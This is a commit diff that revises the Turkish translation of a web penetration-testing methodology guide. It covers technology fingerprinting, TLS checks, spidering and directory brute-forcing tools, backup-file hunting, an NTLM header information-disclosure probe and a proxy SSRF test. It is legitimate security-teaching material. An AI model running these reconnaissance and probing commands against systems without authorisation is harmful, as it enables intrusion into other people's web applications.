Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-07-22 14:16:25 +00:00
parent 5f11bc75a0
commit 44dad5b937
3 changed files with 184 additions and 56 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -27,18 +27,18 @@ web-api-pentesting.md
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece bunu yapacaksınız. Bu nedenle, bu metodolojiyi keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için uygulamalısınız.
- [ ] Web sunucusu tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
- [ ] **Kullanılan teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
- [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
- [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
- [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
- [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
- [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayın.
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
- [ ] Web sayfasını **örümcekleme** ile başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
- [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin örümceklenmelidir._
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile deneyerek yeni **dosyalar** ve **dizinler** arayın.
- [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced edilmelidir._
- [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
- [ ] **Brute-Force parametreleri**: **gizli parametreleri** bulmaya çalışın.
- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
- [ ] Tüm olası **kullanıcı girişi** kabul eden **uç noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-hacking/search-exploits.md)
Search **for** [**web uygulamasının** **sürümündeki** **güvenlik ıklarını**](../../generic-hacking/search-exploits.md)
### **Herhangi bir WAF'yi kontrol et**
@ -64,7 +64,7 @@ Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../ge
### Web teknoloji hileleri
Farklı iyi bilinen **teknolojilerdeki** **ıkları bulmak için bazı hileler**:
Farklı iyi bilinen **teknolojilerdeki** **güvenlik ıklarını** bulmak için bazı **hileler**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -78,6 +78,7 @@ Farklı iyi bilinen **teknolojilerdeki** **açıkları bulmak için bazı hilele
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL veritabanı**](h2-java-sql-database.md)
- [**IIS hileleri**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -103,14 +104,14 @@ Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji
### Kaynak Kodu İncelemesi
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler** vardır:
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler**:
- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren bir şey var mı?
- **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
- Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
- Herhangi bir **açığı** sömürerek bu dosyalara **erişebilir misiniz**?
- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)?
- Herhangi bir güvenlik açığını kullanarak bu **dosyalara** erişebilir misiniz?
- **Github'da** (çözülen ve çözülmeyen) **ilginç bilgiler** var mı? Veya **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)?
{{#ref}}
code-review-tools.md
@ -147,11 +148,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
## Adım adım Web Uygulaması Keşfi
## Adım Adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
### İlk kontroller
### İlk Kontroller
**İlginç bilgiler içeren varsayılan sayfalar:**
@ -162,28 +163,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
**Hataları zorlamak**
**Hataları Zorlamak**
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir.
- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vb)
- **Cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyerek hatalar oluşturun
- **URL**'nin **sonuna** **`/~randomthing/%s`** girerek hata oluşturun
- **PATCH, DEBUG** gibi **farklı HTTP Fiilleri** veya **FAKE** gibi yanlış olanları deneyin
- /whatever_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.)
- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
- PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin:
Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için yeterli izinleriniz yoksa**, şunları deneyin:
- **Kullanıcı adı ve şifreleri** zorlayın
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosyalar yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
- **Kaba kuvvet** ile kimlik bilgilerini denemek
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
### **SSL/TLS açıkları**
### **SSL/TLS Açıkları**
- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'ye karşı **açık** demektir.
- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açık demektir.
- Uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
- Uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açığa işaret eder.
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin:
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Hata Ödül programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıkları yeniden kontrol edin:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -205,12 +206,12 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilirsiniz ve meg her hostta her yolu alır ve yanıtı kaydeder.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar aramak için JS beautify yeteneklerine sahip. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır.
@ -221,28 +222,28 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'sinden güzelleştirilmiş JS kodunu alacak bir araç.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları wayback'ten indirip daha fazla bağlantı arayın).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapar ve belirli regex'ler kullanarak hassas bilgileri bulur.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Spider'dır.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve numaralandırma için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing ve enumeration** için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
### Brute Force dizinleri ve dosyaları
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Araçlar:
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara izin verir ve özyinelemeli arama yapar. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli arama yapar.
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli arama destekler.**
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "kopyalanmış" URL'leri siler.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): "Kopyalanmış" işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
**Tavsiye edilen sözlükler:**
@ -268,18 +269,18 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
### Bulunan her dosyada kontrol edilecekler
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur.
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların ("_.php_", "_.aspx_"...) yedeklerini arayın. Yedek dosyası adlandırmak için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
- **Yeni parametreleri keşfetme**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
- _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyeceğiniz kadar **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı belirten bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
- **S3 Buckets**: Spidering sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/index.html).
- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/index.html).
### Özel bulgular
@ -288,17 +289,17 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
**İlginç dosyalar**
- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md).
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzer" görünecektir.
- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız.
- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zafiyetli olup olmadığını bulmalısınız.
- **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecektir. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex).
- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecektir. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
- **Formların tespit edildiği dosyaları** de **izleyebilirsiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zafiyetli işlevselliği gösterebilir.
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
@ -308,21 +309,21 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
**502 Proxy Hatası**
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir** SSRF** bulmuş olacaksınız.
**NTLM Kimlik Doğrulama - Bilgi ifşası**
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** **adını** soruyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
**Header'ı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirme (CTF)**
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama içinde **gizli** bir şey olabilir.
### Web Zafiyetlerini Kontrol Etme
Artık web uygulamasının kapsamlı bir numaralandırması yapıldığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
